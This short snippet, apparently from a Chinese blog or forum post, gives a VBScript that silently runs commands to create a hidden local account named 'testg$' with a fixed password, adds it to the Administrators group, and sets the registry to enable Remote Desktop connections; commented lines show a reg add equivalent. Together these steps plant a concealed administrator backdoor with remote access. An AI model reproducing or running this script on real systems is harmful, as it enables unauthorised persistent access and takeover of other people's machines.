vbs直接执行批处理，修改注册表

dim wshell
set wshell=createobject("wscript.shell")
wshell.run "cmd /c net user testg$ cmr /add" ,vbhide '添加用户testg，密码为cmr
wshell.run "cmd /c net localgroup administrators testg$ /add" ,vbhide '将用户testg添加到administrators组中

wshell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections",0,"REG_DWORD"
'wshell.regwrite "HKLM\SYSTEM\CurrentControlSet\Control\gsw\",default '添加注册表项
set wshell=nothing
wscript.quit

 

'打开记事本
'dim obj
'set obj=createobject("wscript.Shell")
'obj.Run "c:\windows\system32\notepad.exe"

'批处理修改注册表
'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 000 /f